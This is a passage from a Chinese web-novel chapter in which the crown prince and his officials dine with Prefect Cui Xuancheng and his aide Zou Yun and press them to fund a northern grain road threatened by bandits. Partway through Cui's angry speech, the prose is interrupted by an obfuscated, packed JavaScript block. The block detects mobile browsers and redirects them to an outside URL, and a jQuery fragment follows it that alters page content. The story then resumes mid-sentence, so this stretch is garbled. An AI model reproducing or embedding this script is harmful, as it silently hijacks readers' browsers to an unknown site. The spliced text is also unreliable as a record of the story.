二人侧过身,待李意卿走来,便跟在后头一同入席。 崔玄成照着周言的吩咐,在府中庭院摆了一桌子家常菜。叶帘堂进来时,抬眼便见一园风雅,幽然入目。 园中一颗桂树挺然,芳华满枝。树下陈一几,美酒简肴,看着便让人食欲大开。 崔玄成起身迎接太子,让李意卿坐上座。天正九月,桌几旁落了一地金黄,清香环绕,凉爽快活。他屏退其他人,只让邹允伺候在侧,为几人添菜酌酒。 酒水上满,李意卿适当抿了几口,笑道:“崔大人费心了,我这一路上听周巡查念叨你变州的蔬菜,馋得不行。现下一看,都在桌上了。” 案几上都是清秋食物。有南瓜饼、秋炖菜、红烧茄子和周言昨日说的野菊小炒肉和车前草玉米须粥。 崔玄成见太子神情俊爽,善谈言笑,不自觉也放松了许多,摇头道:“都是些不起眼的山肴,让殿下尝个新鲜罢了,比不得阆京的八珍玉食。” “就是要这野蔌山肴才有滋味,阆京珍馐迷人眼,不像这般大快朵颐来得痛快。”李意卿笑道:“大人何必自谦,向来从变州运进阆京的东西都比旁的精细,可见大人心细如发,将这变州治理的井井有条,我该敬大人一杯才是。” 崔玄成哪敢接受,连忙起身道:“都是分内之事,哪里值得殿下特意来谢,在下实在当不得。” “有何当不得?”李意卿执意端起酒杯,崔玄成只得捧起杯盏,低低喝了下去。李意卿一杯饮完,便让人将酒杯撤了下去,换成了茶,对着一旁笑了笑,“你也坐吧,不必拘礼。” 邹允应了一声,将酒壶轻轻放至案上,这才坐了下来。 叶帘堂自夏日祭酒生辰那日后便再没饮过酒,此时馋得眼睛都快要发绿,几杯下肚才想起自己此行所谓何事,笑着开口道:“听说先生也是兖州人?” 邹允闻言,忙稍稍侧过身答:“‘也’?大人出身河东兖州?” “是。”叶帘堂点了点头,“在下名曰叶悬逸,家父叶宏。” 邹允吃了一惊,好好将他打量了一番,说:“叶大人倒是和小时候不大像了。” 叶帘堂头皮一麻,强装镇定道:“先生认得……家父?” “何止认识。”邹允道:“你舅舅与我大哥乃是拜把兄弟,我当初还抱过大人你呢!” 竟然还有这层关系……叶帘堂冷汗直流,哈哈道:“原是如此。” “对了,听说大人还多了个小妹。可惜那时我已不再兖州,没能前去探望。”邹允兴致勃勃,问:“你家中一切都好吧?” 李意卿见她慌乱,暗自笑了笑,伸手盛了一碗玉米须粥推至她面前,道:“这个不错,你尝尝。” “家中一切都好。”叶帘堂移开眼神,接过素碗舀了一口,点头说:“嗯,是好吃,先生也快吃些。” 太子亲自盛粥,叶侍读没有道谢便顺其自然接了过来,说明此事在二人相处中十分常见。邹允面上带笑,心底暗暗思衬了起来。 他事先打听过太子随行者都有谁,周言乃新科状元,钦定巡查官不奇怪,倒是这叶悬逸……春闱殿试似乎都未能名列前茅,陛下却对他分外倚重,不仅听了他的建议施行新政,甚至将他放至一向被捧在心尖上的太子身边。 邹允转眼便瞧见了崔玄成的目光。 崔玄成先是看了一眼太子,又瞧了眼叶悬逸,最后落才他的身上。 邹允当即起身敬酒,说:“讲了这样许多,却未向叶大人自表身份,实乃过失。” “在下兖州邹氏,邹允。在崔大人座下做些起草文稿,整理卷宗的杂活儿。”他道:“久闻叶侍读大名。” 叶帘堂起身同他喝了酒,拉着他坐下,道:“先生实在客气,不妨坐下慢慢说。” 此番出行她和周言的分工十分明确,她唱红脸,周言负责唱黑脸,如若事情争执不休,再由太子这个小白脸做和事佬。 这边寒暄过后,周言一口饮干了酒,开门见山道:“大人,我等此番前来,是为着北方粮道一事。” 崔玄成停下筷箸,深深叹一口气,“各位有所不知,变州百姓困苦,早已财匮粮空,实在出不下余力去重修粮道。” 周言也放下筷箸,道:“事关北方战事,军粮筹备之事事不宜迟,还请刺史体谅……将裤腰勒紧过冬,这也是陛下的意思。” 这话说得轻飘飘,好像是他贪享财务,不愿出钱一样。 崔玄成心中本就委屈,一听这话,又想起自己无数次上奏表事却都无疾而终,沉下神色,道:“巡查大人在阆京锦衣玉食,恐怕早就不记得家乡了吧。”他攥紧手中木筷,强笑着说:“大人当然不知,变州已然仓廪无积,市廛萧条,无以资生。” “我虽入阆京多年,心中并未忘记过家乡。”周言摇了摇头,道:“我只是不理解,为何刺史总是一面对着朝廷说变州困苦,一边又对千子坡有求必应,月月去送食粮。刺史,我确实不明白。” 崔玄成一拍木几,大声说:“你这话讲得太不厚道!你哪知变州夹缝求生的不易,那千子坡山匪做事猖獗,肆虐乡野,掳掠财务,搅得我州百姓民命难安!纳粮之举实属被迫,我心急如焚,昼夜筹谋,日日修书上报朝廷,可朝廷何事有过回应?”他抖着手指, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|13811249|146128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气道:“你知道什么?” 周言皱眉,正欲开口,却被叶帘堂轻轻摁住。 “大人说的是。”叶帘堂正色开口,道:“我们也知晓变州有难处,此番前来便是为着解决问题,特与二位再此详谈。北方战事吃紧,若不能及时供应,那日后第一个遭殃的便是谷东的颢、变、玄三州……” “此事我当然知晓!”崔玄成出声打断,摇着头道:“可是,就算大人将变州所有的银子都拿出来用,也修不好……” 邹允轻轻拉了拉崔玄成的袖子,侧身将他挡在身后,苦笑道:“既然叶大人说是来解决事情的,我也就不同几位绕弯子。我们变州钱么,确实还是有一些……” “哎!”崔玄成急忙瞪大眼睛,示意他不要再说。 邹允叹了一口气,摇了摇头,继续道:“我们变州剩余的银子的确可以支撑重修与颢州衔接的粮道,但我们不愿这么做,也确实是担心变州日后的生活。我们变州既没有兵马在手,也没有商贾支持,甚至连一个能够在阆京朝廷说上话的关系都没有。这笔钱是我们变州留着过冬的救命钱。若是哪日粮道修成,几位功成身退重回阆京,而我们变州没了银子,那千子坡不知要对我变州百姓做出何等残暴之事……” “可若是龙骨关守不住,变州还是照样没有好日子过的!”周言忍不住开口。 “可是那太远了!”邹允道:“没有变州的支持,龙骨关不一定守不住,但变州若是没有了银子,那便真是死路一条了!” 他皱着眉,侧身向着叶帘堂拱了拱手,“……大人,我们实在没有办法拿着百姓的性命做赌注。” “不,此事却正好相反。”李意卿忽然开口,示意对面二人坐下慢说,“叶侍读这样说,不是在威胁变州上交银两,而是在寻求合作。”语罢,他看一眼叶帘堂,示意她继续。 “山匪不除,谷东不稳,我知晓先生是在担心这个。”叶帘堂慢慢坐下,沉静道:“眼下谷东没有能守护自己的禁卫军,那便建立一支。” 邹允同崔玄成诧异地对视一眼,犹疑道:“……此事你说就能成吗?” “自常家卸下北境守备一线,龙骨关换任后,北蛮便开始蠢蠢欲动。几年战事下来,龙骨关明显露出了从前都未曾有过的吃力,想必陛下也能看清楚这一点。”叶帘堂微微一笑,“说句不好听的,若是龙骨关失守,北蛮便能长驱直入,直捣阆京皇城,到了那时……所以,若是眼下能为谷东成立一支禁卫军,便是在加固阆京东北首阳谷一带的防线,这也就形成了龙骨关失守的第二道屏障。如此说,两位觉得陛下会不会拒绝?” 崔玄成沉思不语,邹允说:“可是,若银子花出去了,变州过冬便是一道大坎儿……” 叶帘堂盯着桌上的酒杯,若有所思道:“其实,我方才想到了一种方法,或许不需要变州出钱修道。” 崔玄成急忙开口问:“这是什么意思?” 叶帘堂笑眯眯地抬起头,眼中闪过一丝狡黠,“你们说,千子坡是不是很有钱?”